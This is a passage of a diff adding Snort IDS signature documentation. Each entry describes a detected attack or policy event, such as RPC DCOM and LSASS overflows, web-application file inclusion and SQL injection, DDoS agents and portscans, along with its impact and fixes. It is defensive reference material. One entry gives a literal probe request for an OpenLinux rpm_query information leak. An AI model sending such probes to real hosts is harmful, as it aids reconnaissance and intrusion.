+Use egress filtering in your network to prevent traffic leaving your network that is not part of the internal address space so that the Stacheldraht agent will be rejected for use in the DDoS.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS193
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2461.txt
+++ snort-2.8.5.2/doc/signatures/2461.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2461
+
+--
+Summary:
+This event is generated when a user on a host in your network that is 
+running Yahoo Instant Messenger is viewing a webcam or listening to an 
+audio message of another Yahoo IM user.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be 
+appropriate in certain network environments.
+
+--
+Detailed Information:
+This event indicates that a Yahoo IM user in your network is requesting 
+to view a webcam of another Yahoo IM user.  While there are no known 
+exploits associated with showing or viewing webcams, or listening to 
+audio messages.  it is possible that this activity is inappropriate in 
+certain environments.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+No known attack scenarios.
+
+--
+Ease of Attack:
+No known attack scenarios.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the 
+default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or 
+implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2927.txt
+++ snort-2.8.5.2/doc/signatures/2927.txt
@@ -0,0 +1,66 @@
+Rule:  
+
+--
+Sid:
+2927
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft implementation of the Network News Transport
+Protocol (NNTP) for Internet Information Server (IIS).
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+The Microsoft implementation of NNTP for IIS contains a programming
+error in the processing of user supplied input that may present an
+attacker with multiple opportunites to execute code of their choosing on
+an affected system.
+
+--
+Affected Systems:
+. Microsoft Windows NT Server 4.0 NNTP component
+. Microsoft Windows 2000 Server NNTP component
+. Microsoft Windows Server 2003 NNTP Component
+. Microsoft Windows Server 2003 64-Bit Edition NNTP Component
+
+--
+Attack Scenarios:
+An attacker must supply specially crafted input to a vulnerable system
+to cause the overflow to occur.
+
+--
+Ease of Attack:
+Moderate. Example code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CORE Technologies:
+http://www.coresecurity.com/common/showdoc.php?idx=420&idxseccion=10
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2014.txt
+++ snort-2.8.5.2/doc/signatures/2014.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+2014
+
+--
+Summary:
+Remote Procedure Call (RPC) is a facility that enables a machine to 
+request a service from another remote machine. This is done without the 
+need for detailed network information. Some versions of RPC have a 
+vulnerability that allows an a remote host to register (and un-register)
+applications from a spoofed source.
+
+--
+Impact:
+Possible denial of service (DoS) against the target host. Potential 
+remote root compromise of the target system.
+
+--
+Detailed Information:
+Certain versions of rpcbind portmapper contain a flaw that could allow 
+an attacker capable of spoofing TCP packets to set and unset calls to 
+arbitrary RPC programs.
+
+A denial of service could be instigated against the target machine that 
+could render network file system services and other such network 
+available services unavailable to network users.
+
+It is also possible for the attacker to gain super user access depending
+on the RPC service he is able to register. This could then lead to a
+compromise of all resources on the network the victim is attached to.
+
+--
+Affected Systems:
+All machines running vulnerable RPC services.
+
+--
+Attack Scenarios:
+The attacker could potentially spoof TCP packets for pmap_set to 
+register an RPC service. The attacker might also spoof TCP packets to 
+un-register needed services via pmap_unset.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+RPC services should also be disabled where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+BugTraq:
+http://www.securityfocus.com/bid/1892
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000584.txt
+++ snort-2.8.5.2/doc/signatures/100000584.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000584
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "checkurl_web.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"checkurl_web.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3412.txt
+++ snort-2.8.5.2/doc/signatures/3412.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3412
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/290.txt
+++ snort-2.8.5.2/doc/signatures/290.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid: 
+290
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow in Qualcomm qpopper. 
+
+--
+Impact: 
+Remote access.  This attack may permit the execution of arbitrary commands with the privileges of root on the vulernable server.
+
+--
+Detailed Information:
+A buffer overflow exploit exists in version 3.x of Qualcomm qpopper daemon, permitting the execution of arbitrary commands with the privileges of root.  The buffer overflow vulnerability is present because of improper bounds checking associated with vsprintf() and sprintf() calls in pop_msg.c.
+
+--
+Affected Systems:
+Qualcomm qpopper 3.0 b20
+Qualcomm qpopper 3.0
+
+--
+Attack Scenarios:
+An attacker may exploit the qpopper buffer overflow vulnerability, permitting the execution of arbitrary commands with the privileges of root on the vulnerable server.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to qpopper3.0b22
+
+--
+Contributors:
+Original rule writer unknown.
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0822
+
+Bugtraq
+http://www.securityfocus.com/bid/830
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1142.txt
+++ snort-2.8.5.2/doc/signatures/1142.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1142
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/513.txt
+++ snort-2.8.5.2/doc/signatures/513.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+513
+
+--
+Summary:
+This event is generated when a Cisco Catalyst switch responds to an external connection that it is listening on the remote management port. 
+
+--
+Impact:
+Denial of service.  A successful connection to the remote management port may allow an attacker access to the switch.
+
+--
+Detailed Information:
+TCP port 7161 is the remote management port for Cisco Catalyst switches.  A vulnerability exists that may allow a user to connect to this port on an affected switch and cause the supervisor module to reload, disabling service while in progress. 
+
+
+--
+Affected Systems:
+Cisco switches:
+
+      The Catalyst 12xx family, running supervisor software versions up to and including 4.29.
+
+      The Catalyst 29xx family (but not the Catalyst 2900XL), running supervisor software versions up to and including 2.1(5), 2.1(501), and 2.1(502). 
+
+      The Catalyst 5xxx series (including the Catalyst 55xx family), running supervisor software versions up to and including 2.1(5), 2.1(501), and 2.1(502).
+
+--
+Attack Scenarios:
+An attacker can exploit a vulnerability associated with the remote management port of Cisco switches, causing a denial of service.
+
+--
+Ease of Attack:
+Unknown.
+
+--
+False Positives:
+This event is generated if any host on the internal network is listening on TCP port 7161 and responds to an external connection request.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable external access to the Cisco switch remote management port.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats
+www.whitehats.com/info/IDS129
+
+CVE 
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0430
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2336.txt
+++ snort-2.8.5.2/doc/signatures/2336.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid: 
+2336
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Verilink NetEngine Broadband Router.
+
+--
+Impact:
+Denial of Service (DoS)
+
+--
+Detailed Information:
+TFTP is used to transfer files between hosts and devices. This event is indicative of spurious
+activity in TFTP traffic between hosts.
+
+It is possible for an attacker to send a NULL opcode to a Verilink
+NetEngine Broadband Router, this may cause the router to become
+unresponsive.
+
+--
+Affected Systems:
+	Verilink NetEngine 6100-4
+
+--
+Attack Scenarios:
+An attacker may use a publicly available exploit script to cause the
+DoS.
+
+--
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2987.txt
+++ snort-2.8.5.2/doc/signatures/2987.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2987
+
+--
+Summary:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings then create an entry in the winreg service.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2525.txt
+++ snort-2.8.5.2/doc/signatures/2525.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2525
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000511.txt
+++ snort-2.8.5.2/doc/signatures/100000511.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000511
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "message.php" with SQL commands being passed as the "UserID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "UserID" parameter in the "message.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2974.txt
+++ snort-2.8.5.2/doc/signatures/2974.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2974
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-6.txt
+++ snort-2.8.5.2/doc/signatures/122-6.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-6
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+filtered decoy portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3267.txt
+++ snort-2.8.5.2/doc/signatures/3267.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3267
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1167.txt
+++ snort-2.8.5.2/doc/signatures/1167.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+
+1167
+
+--
+Summary:
+
+This event is generated when an attempt is made to gain information on installed packages on OpenLINUX.
+
+--
+Impact:
+
+This is a serious information leak, since an attack could then attempt to determine and exploit any vulnerable packages.
+
+
+--
+Detailed Information:
+
+The OpenLinux CGI package comes with a script called rpm_query. A 
+vulnerability exists which will allow a remote user to list all
+packages/versions installed on the system. This information will be 
+useful for an attacker to further compromise a system.
+
+
+--
+Affected Systems:
+
+	OpenLinux Desktop 2.3        
+        OpenLinux eServer 2.3        
+
+--
+Attack Scenarios:
+
+GET http://target/cgi-bin/rpm_query HTTP/1.0
+
+--
+Ease of Attack:
+
+Simple.
+
+--
+False Positives:
+
+None known.
+
+--
+False Negatives:
+
+None known.
+
+--
+Corrective Action:
+
+Remove the package (/home/httpd/cgi-bin/rpm_query)   
+
+Upgrade to the latest version of OpenLinux (2.3-17 or later), 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1036
+
+--
--- snort-2.8.5.2.orig/doc/signatures/894.txt
+++ snort-2.8.5.2/doc/signatures/894.txt
@@ -0,0 +1,52 @@
+Rule:
+--
+Sid:
+894
+
+--
+Summary:
+This event is generated when an attempt is made to display historical 
+information from a Big Brother system monitor host.
+
+--
+Impact:
+Information Disclosure.
+
+--
+Detailed Information:
+Big Brother is a monitoring system used by many organisations.  It records both current and historical information about monitored hosts on a network.  Access to the system status is via a series of web pages and CGI scripts.  Version 1.09b & 1.09c contained a bug in bb-hist.sh that could be made to display files accessible by the user under which the CGI script is run.
+
+--
+Attack Scenarios:
+A malicious user could use this vulnerability to gain more information about the Big Brother host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives: 
+None known
+
+--
+Corrective Action:
+Upgrade to a later version of Big Brother at least 1.09d
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References: 
+url,http://bb4.com/
+cve,CAN-1999-1462
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3445.txt
+++ snort-2.8.5.2/doc/signatures/3445.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3445
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3169.txt
+++ snort-2.8.5.2/doc/signatures/3169.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3169
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000625.txt
+++ snort-2.8.5.2/doc/signatures/100000625.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000625
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_delete.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_delete.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1797.txt
+++ snort-2.8.5.2/doc/signatures/1797.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1797
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "BDSM".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
